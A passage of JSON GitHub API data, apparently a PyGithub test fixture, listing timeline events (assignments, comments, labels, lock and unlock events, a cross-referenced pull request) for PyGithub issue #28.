"MDE1OlN1YnNjcmliZWRFdmVudDE1ODE5OTc1", "url": "https://api.github.com/repos/PyGithub/PyGithub/issues/events/15819975", "actor": { "login": "jacquev6", "id": 327146, "node_id": "MDQ6VXNlcjMyNzE0Ng==", "avatar_url": "https://avatars1.githubusercontent.com/u/327146?v=4", "gravatar_id": "", "url": "https://api.github.com/users/jacquev6", "html_url": "https://github.com/jacquev6", "followers_url": "https://api.github.com/users/jacquev6/followers", "following_url": "https://api.github.com/users/jacquev6/following{/other_user}", "gists_url": "https://api.github.com/users/jacquev6/gists{/gist_id}", "starred_url": "https://api.github.com/users/jacquev6/starred{/owner}{/repo}", "subscriptions_url": "https://api.github.com/users/jacquev6/subscriptions", "organizations_url": "https://api.github.com/users/jacquev6/orgs", "repos_url": "https://api.github.com/users/jacquev6/repos", "events_url": "https://api.github.com/users/jacquev6/events{/privacy}", "received_events_url": "https://api.github.com/users/jacquev6/received_events", "type": "User", "site_admin": false }, "event": "subscribed", "commit_id": null, "commit_url": null, "created_at": "2012-05-19T10:38:23Z" }, { "id": 15820048, "node_id": "MDEzOkFzc2lnbmVkRXZlbnQxNTgyMDA0OA==", "url": "https://api.github.com/repos/PyGithub/PyGithub/issues/events/15820048", "actor": { "login": "ghost", "id": 10137, "node_id": "MDQ6VXNlcjEwMTM3", "avatar_url": "https://avatars3.githubusercontent.com/u/10137?v=4", "gravatar_id": "", "url": "https://api.github.com/users/ghost", "html_url": "https://github.com/ghost", "followers_url": "https://api.github.com/users/ghost/followers", "following_url": "https://api.github.com/users/ghost/following{/other_user}", "gists_url": "https://api.github.com/users/ghost/gists{/gist_id}", "starred_url": "https://api.github.com/users/ghost/starred{/owner}{/repo}", "subscriptions_url": "https://api.github.com/users/ghost/subscriptions", "organizations_url": "https://api.github.com/users/ghost/orgs", "repos_url": "https://api.github.com/users/ghost/repos", "events_url": "https://api.github.com/users/ghost/events{/privacy}", "received_events_url": "https://api.github.com/users/ghost/received_events", "type": "User", "site_admin": false }, "event": "assigned", "commit_id": null, "commit_url": null, "created_at": "2012-05-19T10:42:25Z", "assignee": { "login": "jacquev6", "id": 327146, "node_id": "MDQ6VXNlcjMyNzE0Ng==", "avatar_url": "https://avatars1.githubusercontent.com/u/327146?v=4", "gravatar_id": "", "url": "https://api.github.com/users/jacquev6", "html_url": "https://github.com/jacquev6", "followers_url": "https://api.github.com/users/jacquev6/followers", "following_url": "https://api.github.com/users/jacquev6/following{/other_user}", "gists_url": "https://api.github.com/users/jacquev6/gists{/gist_id}", "starred_url": "https://api.github.com/users/jacquev6/starred{/owner}{/repo}", "subscriptions_url": "https://api.github.com/users/jacquev6/subscriptions", "organizations_url": "https://api.github.com/users/jacquev6/orgs", "repos_url": "https://api.github.com/users/jacquev6/repos", "events_url": "https://api.github.com/users/jacquev6/events{/privacy}", "received_events_url": "https://api.github.com/users/jacquev6/received_events", "type": "User", "site_admin": false } }, { "id": 16333938, "node_id": "MDEzOkFzc2lnbmVkRXZlbnQxNjMzMzkzOA==", "url": "https://api.github.com/repos/PyGithub/PyGithub/issues/events/16333938", "actor": { "login": "ghost", "id": 10137, "node_id": "MDQ6VXNlcjEwMTM3", "avatar_url": "https://avatars3.githubusercontent.com/u/10137?v=4", "gravatar_id": "", "url": "https://api.github.com/users/ghost", "html_url": "https://github.com/ghost", "followers_url": "https://api.github.com/users/ghost/followers", "following_url": "https://api.github.com/users/ghost/following{/other_user}", "gists_url": "https://api.github.com/users/ghost/gists{/gist_id}", "starred_url": "https://api.github.com/users/ghost/starred{/owner}{/repo}", "subscriptions_url": "https://api.github.com/users/ghost/subscriptions", "organizations_url": "https://api.github.com/users/ghost/orgs", "repos_url": "https://api.github.com/users/ghost/repos", "events_url": "https://api.github.com/users/ghost/events{/privacy}", "received_events_url": "https://api.github.com/users/ghost/received_events", "type": "User", "site_admin": false }, "event": "assigned", "commit_id": null, "commit_url": null, "created_at": "2012-05-26T14:58:27Z", "assignee": { "login": "jacquev6", "id": 327146, "node_id": "MDQ6VXNlcjMyNzE0Ng==", "avatar_url": "https://avatars1.githubusercontent.com/u/327146?v=4", "gravatar_id": "", "url": "https://api.github.com/users/jacquev6", "html_url": "https://github.com/jacquev6", "followers_url": "https://api.github.com/users/jacquev6/followers", "following_url": "https://api.github.com/users/jacquev6/following{/other_user}", "gists_url": "https://api.github.com/users/jacquev6/gists{/gist_id}", "starred_url": "https://api.github.com/users/jacquev6/starred{/owner}{/repo}", "subscriptions_url": "https://api.github.com/users/jacquev6/subscriptions", "organizations_url": "https://api.github.com/users/jacquev6/orgs", "repos_url": "https://api.github.com/users/jacquev6/repos", "events_url": "https://api.github.com/users/jacquev6/events{/privacy}", "received_events_url": "https://api.github.com/users/jacquev6/received_events", "type": "User", "site_admin": false } }, { "id": 16333959, "node_id": "MDExOkNsb3NlZEV2ZW50MTYzMzM5NTk=", "url": "https://api.github.com/repos/PyGithub/PyGithub/issues/events/16333959", "actor": { "login": "jacquev6", "id": 327146, "node_id": "MDQ6VXNlcjMyNzE0Ng==", "avatar_url": "https://avatars1.githubusercontent.com/u/327146?v=4", "gravatar_id": "", "url": "https://api.github.com/users/jacquev6", "html_url": "https://github.com/jacquev6", "followers_url": "https://api.github.com/users/jacquev6/followers", "following_url": "https://api.github.com/users/jacquev6/following{/other_user}", "gists_url": "https://api.github.com/users/jacquev6/gists{/gist_id}", "starred_url": "https://api.github.com/users/jacquev6/starred{/owner}{/repo}", "subscriptions_url": "https://api.github.com/users/jacquev6/subscriptions", "organizations_url": "https://api.github.com/users/jacquev6/orgs", "repos_url": "https://api.github.com/users/jacquev6/repos", "events_url": "https://api.github.com/users/jacquev6/events{/privacy}", "received_events_url": "https://api.github.com/users/jacquev6/received_events", "type": "User", "site_admin": false }, "event": "closed", "commit_id": null, "commit_url": null, "created_at": "2012-05-26T14:59:34Z" }, { "id": 24398051, "node_id": "MDEzOkFzc2lnbmVkRXZlbnQyNDM5ODA1MQ==", "url": "https://api.github.com/repos/PyGithub/PyGithub/issues/events/24398051", "actor": { "login": "ghost", "id": 10137, "node_id": "MDQ6VXNlcjEwMTM3", "avatar_url": "https://avatars3.githubusercontent.com/u/10137?v=4", "gravatar_id": "", "url": "https://api.github.com/users/ghost", "html_url": "https://github.com/ghost", "followers_url": "https://api.github.com/users/ghost/followers", "following_url": "https://api.github.com/users/ghost/following{/other_user}", "gists_url": "https://api.github.com/users/ghost/gists{/gist_id}", "starred_url": "https://api.github.com/users/ghost/starred{/owner}{/repo}", "subscriptions_url": "https://api.github.com/users/ghost/subscriptions", "organizations_url": "https://api.github.com/users/ghost/orgs", "repos_url": "https://api.github.com/users/ghost/repos", "events_url": "https://api.github.com/users/ghost/events{/privacy}", "received_events_url": "https://api.github.com/users/ghost/received_events", "type": "User", "site_admin": false }, "event": "assigned", "commit_id": null, "commit_url": null, "created_at": "2012-09-11T18:52:07Z", "assignee": { "login": "jacquev6", "id": 327146, "node_id": "MDQ6VXNlcjMyNzE0Ng==", "avatar_url": "https://avatars1.githubusercontent.com/u/327146?v=4", "gravatar_id": "", "url": "https://api.github.com/users/jacquev6", "html_url": "https://github.com/jacquev6", "followers_url": "https://api.github.com/users/jacquev6/followers", "following_url": "https://api.github.com/users/jacquev6/following{/other_user}", "gists_url": "https://api.github.com/users/jacquev6/gists{/gist_id}", "starred_url": "https://api.github.com/users/jacquev6/starred{/owner}{/repo}", "subscriptions_url": "https://api.github.com/users/jacquev6/subscriptions", "organizations_url": "https://api.github.com/users/jacquev6/orgs", "repos_url": "https://api.github.com/users/jacquev6/repos", "events_url": "https://api.github.com/users/jacquev6/events{/privacy}", "received_events_url": "https://api.github.com/users/jacquev6/received_events", "type": "User", "site_admin": false } }, { "url": "https://api.github.com/repos/PyGithub/PyGithub/issues/comments/20227753", "html_url": "https://github.com/PyGithub/PyGithub/issues/28#issuecomment-20227753", "issue_url": "https://api.github.com/repos/PyGithub/PyGithub/issues/28", "id": 20227753, "node_id": "MDEyOklzc3VlQ29tbWVudDIwMjI3NzUz", "user": { "login": "stuglaser", "id": 1527117, "node_id": "MDQ6VXNlcjE1MjcxMTc=", "avatar_url": "https://avatars1.githubusercontent.com/u/1527117?v=4", "gravatar_id": "", "url": "https://api.github.com/users/stuglaser", "html_url": "https://github.com/stuglaser", "followers_url": "https://api.github.com/users/stuglaser/followers", "following_url": "https://api.github.com/users/stuglaser/following{/other_user}", "gists_url": "https://api.github.com/users/stuglaser/gists{/gist_id}", "starred_url": "https://api.github.com/users/stuglaser/starred{/owner}{/repo}", "subscriptions_url": "https://api.github.com/users/stuglaser/subscriptions", "organizations_url": "https://api.github.com/users/stuglaser/orgs", "repos_url": "https://api.github.com/users/stuglaser/repos", "events_url": "https://api.github.com/users/stuglaser/events{/privacy}", "received_events_url": "https://api.github.com/users/stuglaser/received_events", "type": "User", "site_admin": false }, "created_at": "2013-06-29T10:31:38Z", "updated_at": "2013-06-29T10:31:38Z", "author_association": "CONTRIBUTOR", "body": "Comment created by PyGithub\n", "event": "commented", "actor": { "login": "stuglaser", "id": 1527117, "node_id": "MDQ6VXNlcjE1MjcxMTc=", "avatar_url": "https://avatars1.githubusercontent.com/u/1527117?v=4", "gravatar_id": "", "url": "https://api.github.com/users/stuglaser", "html_url": "https://github.com/stuglaser", "followers_url": "https://api.github.com/users/stuglaser/followers", "following_url": "https://api.github.com/users/stuglaser/following{/other_user}", "gists_url": "https://api.github.com/users/stuglaser/gists{/gist_id}", "starred_url": "https://api.github.com/users/stuglaser/starred{/owner}{/repo}", "subscriptions_url": "https://api.github.com/users/stuglaser/subscriptions", "organizations_url": "https://api.github.com/users/stuglaser/orgs", "repos_url": "https://api.github.com/users/stuglaser/repos", "events_url": "https://api.github.com/users/stuglaser/events{/privacy}", "received_events_url": "https://api.github.com/users/stuglaser/received_events", "type": "User", "site_admin": false } }, { "id": 98136339, "node_id": "MDEyOkxhYmVsZWRFdmVudDk4MTM2MzM5", "url": "https://api.github.com/repos/PyGithub/PyGithub/issues/events/98136339", "actor": { "login": "jacquev6", "id": 327146, "node_id": "MDQ6VXNlcjMyNzE0Ng==", "avatar_url": "https://avatars1.githubusercontent.com/u/327146?v=4", "gravatar_id": "", "url": "https://api.github.com/users/jacquev6", "html_url": "https://github.com/jacquev6", "followers_url": "https://api.github.com/users/jacquev6/followers", "following_url": "https://api.github.com/users/jacquev6/following{/other_user}", "gists_url": "https://api.github.com/users/jacquev6/gists{/gist_id}", "starred_url": "https://api.github.com/users/jacquev6/starred{/owner}{/repo}", "subscriptions_url": "https://api.github.com/users/jacquev6/subscriptions", "organizations_url": "https://api.github.com/users/jacquev6/orgs", "repos_url": "https://api.github.com/users/jacquev6/repos", "events_url": "https://api.github.com/users/jacquev6/events{/privacy}", "received_events_url": "https://api.github.com/users/jacquev6/received_events", "type": "User", "site_admin": false }, "event": "labeled", "commit_id": null, "commit_url": null, "created_at": "2014-03-02T18:55:11Z", "label": { "name": "v1", "color": "5319e7" } }, { "url": "https://api.github.com/repos/PyGithub/PyGithub/issues/comments/415570895", "html_url": "https://github.com/PyGithub/PyGithub/issues/28#issuecomment-415570895", "issue_url": "https://api.github.com/repos/PyGithub/PyGithub/issues/28", "id": 415570895, "node_id": "MDEyOklzc3VlQ29tbWVudDQxNTU3MDg5NQ==", "user": { "login": "allevin", "id": 13543471, "node_id": "MDQ6VXNlcjEzNTQzNDcx", "avatar_url": "https://avatars2.githubusercontent.com/u/13543471?v=4", "gravatar_id": "", "url": "https://api.github.com/users/allevin", "html_url": "https://github.com/allevin", "followers_url": "https://api.github.com/users/allevin/followers", "following_url": "https://api.github.com/users/allevin/following{/other_user}", "gists_url": "https://api.github.com/users/allevin/gists{/gist_id}", "starred_url": "https://api.github.com/users/allevin/starred{/owner}{/repo}", "subscriptions_url": "https://api.github.com/users/allevin/subscriptions", "organizations_url": "https://api.github.com/users/allevin/orgs", "repos_url": "https://api.github.com/users/allevin/repos", "events_url": "https://api.github.com/users/allevin/events{/privacy}", "received_events_url": "https://api.github.com/users/allevin/received_events", "type": "User", "site_admin": false }, "created_at": "2018-08-23T21:05:39Z", "updated_at": "2018-08-23T21:05:39Z", "author_association": "CONTRIBUTOR", "body": "Comment created by PyGithub", "event": "commented", "actor": { "login": "allevin", "id": 13543471, "node_id": "MDQ6VXNlcjEzNTQzNDcx", "avatar_url": "https://avatars2.githubusercontent.com/u/13543471?v=4", "gravatar_id": "", "url": "https://api.github.com/users/allevin", "html_url": "https://github.com/allevin", "followers_url": "https://api.github.com/users/allevin/followers", "following_url": "https://api.github.com/users/allevin/following{/other_user}", "gists_url": "https://api.github.com/users/allevin/gists{/gist_id}", "starred_url": "https://api.github.com/users/allevin/starred{/owner}{/repo}", "subscriptions_url": "https://api.github.com/users/allevin/subscriptions", "organizations_url": "https://api.github.com/users/allevin/orgs", "repos_url": "https://api.github.com/users/allevin/repos", "events_url": "https://api.github.com/users/allevin/events{/privacy}", "received_events_url": "https://api.github.com/users/allevin/received_events", "type": "User", "site_admin": false } }, { "url": "https://api.github.com/repos/PyGithub/PyGithub/issues/comments/415762819", "html_url": "https://github.com/PyGithub/PyGithub/issues/28#issuecomment-415762819", "issue_url": "https://api.github.com/repos/PyGithub/PyGithub/issues/28", "id": 415762819, "node_id": "MDEyOklzc3VlQ29tbWVudDQxNTc2MjgxOQ==", "user": { "login": "allevin", "id": 13543471, "node_id": "MDQ6VXNlcjEzNTQzNDcx", "avatar_url": "https://avatars2.githubusercontent.com/u/13543471?v=4", "gravatar_id": "", "url": "https://api.github.com/users/allevin", "html_url": "https://github.com/allevin", "followers_url": "https://api.github.com/users/allevin/followers", "following_url": "https://api.github.com/users/allevin/following{/other_user}", "gists_url": "https://api.github.com/users/allevin/gists{/gist_id}", "starred_url": "https://api.github.com/users/allevin/starred{/owner}{/repo}", "subscriptions_url": "https://api.github.com/users/allevin/subscriptions", "organizations_url": "https://api.github.com/users/allevin/orgs", "repos_url": "https://api.github.com/users/allevin/repos", "events_url": "https://api.github.com/users/allevin/events{/privacy}", "received_events_url": "https://api.github.com/users/allevin/received_events", "type": "User", "site_admin": false }, "created_at": "2018-08-24T13:43:44Z", "updated_at": "2018-08-24T13:43:44Z", "author_association": "CONTRIBUTOR", "body": "Comment created by PyGithub", "event": "commented", "actor": { "login": "allevin", "id": 13543471, "node_id": "MDQ6VXNlcjEzNTQzNDcx", "avatar_url": "https://avatars2.githubusercontent.com/u/13543471?v=4", "gravatar_id": "", "url": "https://api.github.com/users/allevin", "html_url": "https://github.com/allevin", "followers_url": "https://api.github.com/users/allevin/followers", "following_url": "https://api.github.com/users/allevin/following{/other_user}", "gists_url": "https://api.github.com/users/allevin/gists{/gist_id}", "starred_url": "https://api.github.com/users/allevin/starred{/owner}{/repo}", "subscriptions_url": "https://api.github.com/users/allevin/subscriptions", "organizations_url": "https://api.github.com/users/allevin/orgs", "repos_url": "https://api.github.com/users/allevin/repos", "events_url": "https://api.github.com/users/allevin/events{/privacy}", "received_events_url": "https://api.github.com/users/allevin/received_events", "type": "User", "site_admin": false } }, { "actor": { "login": "allevin", "id": 13543471, "node_id": "MDQ6VXNlcjEzNTQzNDcx", "avatar_url": "https://avatars2.githubusercontent.com/u/13543471?v=4", "gravatar_id": "", "url": "https://api.github.com/users/allevin", "html_url": "https://github.com/allevin", "followers_url": "https://api.github.com/users/allevin/followers", "following_url": "https://api.github.com/users/allevin/following{/other_user}", "gists_url": "https://api.github.com/users/allevin/gists{/gist_id}", "starred_url": "https://api.github.com/users/allevin/starred{/owner}{/repo}", "subscriptions_url": "https://api.github.com/users/allevin/subscriptions", "organizations_url": "https://api.github.com/users/allevin/orgs", "repos_url": "https://api.github.com/users/allevin/repos", "events_url": "https://api.github.com/users/allevin/events{/privacy}", "received_events_url": "https://api.github.com/users/allevin/received_events", "type": "User", "site_admin": false }, "created_at": "2018-08-24T15:42:24Z", "updated_at": "2018-08-24T15:42:24Z", "source": { "type": "issue", "issue": { "url": "https://api.github.com/repos/PyGithub/PyGithub/issues/857", "repository_url": "https://api.github.com/repos/PyGithub/PyGithub", "labels_url": "https://api.github.com/repos/PyGithub/PyGithub/issues/857/labels{/name}", "comments_url": "https://api.github.com/repos/PyGithub/PyGithub/issues/857/comments", "events_url": "https://api.github.com/repos/PyGithub/PyGithub/issues/857/events", "html_url": "https://github.com/PyGithub/PyGithub/pull/857", "id": 348340651, "node_id": "MDExOlB1bGxSZXF1ZXN0MjA2NzEzMTAy", "number": 857, "title": "Adding new attributes to IssueEvent", "user": { "login": "allevin", "id": 13543471, "node_id": "MDQ6VXNlcjEzNTQzNDcx", "avatar_url": "https://avatars2.githubusercontent.com/u/13543471?v=4", "gravatar_id": "", "url": "https://api.github.com/users/allevin", "html_url": "https://github.com/allevin", "followers_url": "https://api.github.com/users/allevin/followers", "following_url": "https://api.github.com/users/allevin/following{/other_user}", "gists_url": "https://api.github.com/users/allevin/gists{/gist_id}", "starred_url": "https://api.github.com/users/allevin/starred{/owner}{/repo}", "subscriptions_url": "https://api.github.com/users/allevin/subscriptions", "organizations_url": "https://api.github.com/users/allevin/orgs", "repos_url": "https://api.github.com/users/allevin/repos", "events_url": "https://api.github.com/users/allevin/events{/privacy}", "received_events_url": "https://api.github.com/users/allevin/received_events", "type": "User", "site_admin": false }, "labels": [ { "id": 895322782, "node_id": "MDU6TGFiZWw4OTUzMjI3ODI=", "url": "https://api.github.com/repos/PyGithub/PyGithub/labels/improvement", "name": "improvement", "color": "f46bb7", "default": false, "description": "" } ], "state": "closed", "locked": false, "assignee": null, "assignees": [ ], "milestone": null, "comments": 27, "created_at": "2018-08-07T14:14:44Z", "updated_at": "2018-08-24T16:09:23Z", "closed_at": "2018-08-24T16:01:30Z", "author_association": "CONTRIBUTOR", "repository": { "id": 3544490, "node_id": "MDEwOlJlcG9zaXRvcnkzNTQ0NDkw", "name": "PyGithub", "full_name": "PyGithub/PyGithub", "private": false, "owner": { "login": "PyGithub", "id": 11288996, "node_id": "MDEyOk9yZ2FuaXphdGlvbjExMjg4OTk2", "avatar_url": "https://avatars0.githubusercontent.com/u/11288996?v=4", "gravatar_id": "", "url": "https://api.github.com/users/PyGithub", "html_url": "https://github.com/PyGithub", "followers_url": "https://api.github.com/users/PyGithub/followers", "following_url": "https://api.github.com/users/PyGithub/following{/other_user}", "gists_url": "https://api.github.com/users/PyGithub/gists{/gist_id}", "starred_url": "https://api.github.com/users/PyGithub/starred{/owner}{/repo}", "subscriptions_url": "https://api.github.com/users/PyGithub/subscriptions", "organizations_url": "https://api.github.com/users/PyGithub/orgs", "repos_url": "https://api.github.com/users/PyGithub/repos", "events_url": "https://api.github.com/users/PyGithub/events{/privacy}", "received_events_url": "https://api.github.com/users/PyGithub/received_events", "type": "Organization", "site_admin": false }, "html_url": "https://github.com/PyGithub/PyGithub", "description": "Typed interactions with the GitHub API v3", "fork": false, "url": "https://api.github.com/repos/PyGithub/PyGithub", "forks_url": "https://api.github.com/repos/PyGithub/PyGithub/forks", "keys_url": "https://api.github.com/repos/PyGithub/PyGithub/keys{/key_id}", "collaborators_url": "https://api.github.com/repos/PyGithub/PyGithub/collaborators{/collaborator}", "teams_url": "https://api.github.com/repos/PyGithub/PyGithub/teams", "hooks_url": "https://api.github.com/repos/PyGithub/PyGithub/hooks", "issue_events_url": "https://api.github.com/repos/PyGithub/PyGithub/issues/events{/number}", "events_url": "https://api.github.com/repos/PyGithub/PyGithub/events", "assignees_url": "https://api.github.com/repos/PyGithub/PyGithub/assignees{/user}", "branches_url": "https://api.github.com/repos/PyGithub/PyGithub/branches{/branch}", "tags_url": "https://api.github.com/repos/PyGithub/PyGithub/tags", "blobs_url": "https://api.github.com/repos/PyGithub/PyGithub/git/blobs{/sha}", "git_tags_url": "https://api.github.com/repos/PyGithub/PyGithub/git/tags{/sha}", "git_refs_url": "https://api.github.com/repos/PyGithub/PyGithub/git/refs{/sha}", "trees_url": "https://api.github.com/repos/PyGithub/PyGithub/git/trees{/sha}", "statuses_url": "https://api.github.com/repos/PyGithub/PyGithub/statuses/{sha}", "languages_url": "https://api.github.com/repos/PyGithub/PyGithub/languages", "stargazers_url": "https://api.github.com/repos/PyGithub/PyGithub/stargazers", "contributors_url": "https://api.github.com/repos/PyGithub/PyGithub/contributors", "subscribers_url": "https://api.github.com/repos/PyGithub/PyGithub/subscribers", "subscription_url": "https://api.github.com/repos/PyGithub/PyGithub/subscription", "commits_url": "https://api.github.com/repos/PyGithub/PyGithub/commits{/sha}", "git_commits_url": "https://api.github.com/repos/PyGithub/PyGithub/git/commits{/sha}", "comments_url": "https://api.github.com/repos/PyGithub/PyGithub/comments{/number}", "issue_comment_url": "https://api.github.com/repos/PyGithub/PyGithub/issues/comments{/number}", "contents_url": "https://api.github.com/repos/PyGithub/PyGithub/contents/{+path}", "compare_url": "https://api.github.com/repos/PyGithub/PyGithub/compare/{base}...{head}", "merges_url": "https://api.github.com/repos/PyGithub/PyGithub/merges", "archive_url": "https://api.github.com/repos/PyGithub/PyGithub/{archive_format}{/ref}", "downloads_url": "https://api.github.com/repos/PyGithub/PyGithub/downloads", "issues_url": "https://api.github.com/repos/PyGithub/PyGithub/issues{/number}", "pulls_url": "https://api.github.com/repos/PyGithub/PyGithub/pulls{/number}", "milestones_url": "https://api.github.com/repos/PyGithub/PyGithub/milestones{/number}", "notifications_url": "https://api.github.com/repos/PyGithub/PyGithub/notifications{?since,all,participating}", "labels_url": "https://api.github.com/repos/PyGithub/PyGithub/labels{/name}", "releases_url": "https://api.github.com/repos/PyGithub/PyGithub/releases{/id}", "deployments_url": "https://api.github.com/repos/PyGithub/PyGithub/deployments", "created_at": "2012-02-25T12:53:47Z", "updated_at": "2019-11-25T10:43:32Z", "pushed_at": "2019-11-25T10:57:49Z", "git_url": "git://github.com/PyGithub/PyGithub.git", "ssh_url": "git@github.com:PyGithub/PyGithub.git", "clone_url": "https://github.com/PyGithub/PyGithub.git", "svn_url": "https://github.com/PyGithub/PyGithub", "homepage": "https://pygithub.readthedocs.io/", "size": 12176, "stargazers_count": 3010, "watchers_count": 3010, "language": "Python", "has_issues": true, "has_projects": true, "has_downloads": true, "has_wiki": false, "has_pages": false, "forks_count": 998, "mirror_url": null, "archived": false, "disabled": false, "open_issues_count": 56, "license": { "key": "lgpl-3.0", "name": "GNU Lesser General Public License v3.0", "spdx_id": "LGPL-3.0", "url": "https://api.github.com/licenses/lgpl-3.0", "node_id": "MDc6TGljZW5zZTEy" }, "forks": 998, "open_issues": 56, "watchers": 3010, "default_branch": "master" }, "pull_request": { "url": "https://api.github.com/repos/PyGithub/PyGithub/pulls/857", "html_url": "https://github.com/PyGithub/PyGithub/pull/857", "diff_url": "https://github.com/PyGithub/PyGithub/pull/857.diff", "patch_url": "https://github.com/PyGithub/PyGithub/pull/857.patch" }, "body": "See Issue #855 \r\n\r\nThe class [IssueEvent](https://github.com/PyGithub/PyGithub/blob/master/github/IssueEvent.py) is missing a large number of attributes documented in the [API](https://developer.github.com/v3/issues/events/).\r\n\r\nThis is also commented about in #653 to a degree\r\n\r\n27 of the tests 27 known event types have tests.\r\n\r\n**Currently Tested using Issue #30** \r\n- [x] subscribed\r\n- [x] assigned\r\n- [x] referenced \r\n- [x] closed \r\n- [x] labeled \r\n\r\n**Currently Tested using Issue/PR #538**\r\n- [x] merged\r\n- [x] mentioned\r\n- [x] review_requested\r\n\r\n**Currently Tested using Issue/PR #857**\r\n- [x] reopened\r\n- [x] unassigned\r\n- [x] unlabeled\r\n- [x] renamed\r\n- [x] base_ref_changed\r\n- [x] head_ref_deleted \r\n- [x] head_ref_restored\r\n- [x] milestoned\r\n- [x] demilestoned\r\n- [x] locked\r\n- [x] unlocked\r\n- [x] review_dismissed\r\n- [x] review_request_removed\r\n- [x] marked_as_duplicate\r\n- [x] unmarked_as_duplicate\r\n- [x] added_to_project \r\n- [x] moved_columns_in_project\r\n- [x] removed_from_project\r\n- [x] converted_note_to_issue - Note: this event is tied into Issue #866 \r\n\r\nThis PR is now ready to be merged\r\n\r\n" } }, "event": "cross-referenced" }, { "id": 2316739219, "node_id": "MDExOkxvY2tlZEV2ZW50MjMxNjczOTIxOQ==", "url": "https://api.github.com/repos/PyGithub/PyGithub/issues/events/2316739219", "actor": { "login": "PyGithub", "id": 11288996, "node_id": "MDEyOk9yZ2FuaXphdGlvbjExMjg4OTk2", "avatar_url": "https://avatars0.githubusercontent.com/u/11288996?v=4", "gravatar_id": "", "url": "https://api.github.com/users/PyGithub", "html_url": "https://github.com/PyGithub", "followers_url": "https://api.github.com/users/PyGithub/followers", "following_url": "https://api.github.com/users/PyGithub/following{/other_user}", "gists_url": "https://api.github.com/users/PyGithub/gists{/gist_id}", "starred_url": "https://api.github.com/users/PyGithub/starred{/owner}{/repo}", "subscriptions_url": "https://api.github.com/users/PyGithub/subscriptions", "organizations_url": "https://api.github.com/users/PyGithub/orgs", "repos_url": "https://api.github.com/users/PyGithub/repos", "events_url": "https://api.github.com/users/PyGithub/events{/privacy}", "received_events_url": "https://api.github.com/users/PyGithub/received_events", "type": "Organization", "site_admin": false }, "event": "locked", "commit_id": null, "commit_url": null, "created_at": "2019-05-03T08:38:14Z" }, { "id": 2316833905, "node_id": "MDEzOlVubG9ja2VkRXZlbnQyMzE2ODMzOTA1", "url": "https://api.github.com/repos/PyGithub/PyGithub/issues/events/2316833905", "actor": { "login": "PyGithub", "id": 11288996, "node_id": "MDEyOk9yZ2FuaXphdGlvbjExMjg4OTk2", "avatar_url": "https://avatars0.githubusercontent.com/u/11288996?v=4", "gravatar_id": "", "url": "https://api.github.com/users/PyGithub", "html_url": "https://github.com/PyGithub", "followers_url": "https://api.github.com/users/PyGithub/followers", "following_url": "https://api.github.com/users/PyGithub/following{/other_user}", "gists_url": "https://api.github.com/users/PyGithub/gists{/gist_id}", "starred_url": "https://api.github.com/users/PyGithub/starred{/owner}{/repo}", "subscriptions_url": "https://api.github.com/users/PyGithub/subscriptions", "organizations_url": "https://api.github.com/users/PyGithub/orgs", "repos_url": "https://api.github.com/users/PyGithub/repos", "events_url": "https://api.github.com/users/PyGithub/events{/privacy}", "received_events_url": "https://api.github.com/users/PyGithub/received_events", "type": "Organization", "site_admin": false }, "event": "unlocked", "commit_id": null, "commit_url": null, "created_at": "2019-05-03T09:17:14Z" }, { "id": 2316834996, "node_id": "MDExOkxvY2tlZEV2ZW50MjMxNjgzNDk5Ng==", "url": "https://api.github.com/repos/PyGithub/PyGithub/issues/events/2316834996", "actor": { "login": "PyGithub", "id": 11288996, "node_id": "MDEyOk9yZ2FuaXphdGlvbjExMjg4OTk2", "avatar_url": "https://avatars0.githubusercontent.com/u/11288996?v=4", "gravatar_id": "", "url": "https://api.github.com/users/PyGithub", "html_url": "https://github.com/PyGithub", "followers_url": "https://api.github.com/users/PyGithub/followers", "following_url": "https://api.github.com/users/PyGithub/following{/other_user}", "gists_url": "https://api.github.com/users/PyGithub/gists{/gist_id}", "starred_url": "https://api.github.com/users/PyGithub/starred{/owner}{/repo}", "subscriptions_url": "https://api.github.com/users/PyGithub/subscriptions", "organizations_url": "https://api.github.com/users/PyGithub/orgs", "repos_url": "https://api.github.com/users/PyGithub/repos", "events_url": "https://api.github.com/users/PyGithub/events{/privacy}", "received_events_url": "https://api.github.com/users/PyGithub/received_events", "type": "Organization", "site_admin": false }, "event": "locked", "commit_id": null, "commit_url": null, "created_at": "2019-05-03T09:17:42Z" }, { "id": 2316892991, "node_id": "MDEzOlVubG9ja2VkRXZlbnQyMzE2ODkyOTkx", "url": "https://api.github.com/repos/PyGithub/PyGithub/issues/events/2316892991", "actor": { "login": "PyGithub", "id": 11288996, "node_id": "MDEyOk9yZ2FuaXphdGlvbjExMjg4OTk2", "avatar_url": "https://avatars0.githubusercontent.com/u/11288996?v=4", "gravatar_id": "", "url": "https://api.github.com/users/PyGithub", "html_url": "https://github.com/PyGithub", "followers_url": "https://api.github.com/users/PyGithub/followers", "following_url": "https://api.github.com/users/PyGithub/following{/other_user}", "gists_url": "https://api.github.com/users/PyGithub/gists{/gist_id}", "starred_url": "https://api.github.com/users/PyGithub/starred{/owner}{/repo}", "subscriptions_url": "https://api.github.com/users/PyGithub/subscriptions", "organizations_url": "https://api.github.com/users/PyGithub/orgs", "repos_url": "https://api.github.com/users/PyGithub/repos", "events_url": "https://api.github.com/users/PyGithub/events{/privacy}", "received_events_url": "https://api.github.com/users/PyGithub/received_events", "type": "Organization", "site_admin": false }, "event": "unlocked", "commit_id": null, "commit_url": null, "created_at": "2019-05-03T09:41:18Z" }, { "id": 2316896792, "node_id": "MDExOkxvY2tlZEV2ZW50MjMxNjg5Njc5Mg==", "url": "https://api.github.com/repos/PyGithub/PyGithub/issues/events/2316896792", "actor": { "login": "PyGithub", "id": 11288996, "node_id": "MDEyOk9yZ2FuaXphdGlvbjExMjg4OTk2", "avatar_url": "https://avatars0.githubusercontent.com/u/11288996?v=4", "gravatar_id": "", "url": "https://api.github.com/users/PyGithub", "html_url": "https://github.com/PyGithub", "followers_url": "https://api.github.com/users/PyGithub/followers", "following_url": "https://api.github.com/users/PyGithub/following{/other_user}", "gists_url": "https://api.github.com/users/PyGithub/gists{/gist_id}", "starred_url": "https://api.github.com/users/PyGithub/starred{/owner}{/repo}", "subscriptions_url": "https://api.github.com/users/PyGithub/subscriptions", "organizations_url": "https://api.github.com/users/PyGithub/orgs", "repos_url": "https://api.github.com/users/PyGithub/repos", "events_url": "https://api.github.com/users/PyGithub/events{/privacy}", "received_events_url": "https://api.github.com/users/PyGithub/received_events", "type": "Organization", "site_admin": false }, "event": "locked", "commit_id": null, "commit_url": null, "created_at": "2019-05-03T09:42:52Z" }, { "id": 2316900651, "node_id": 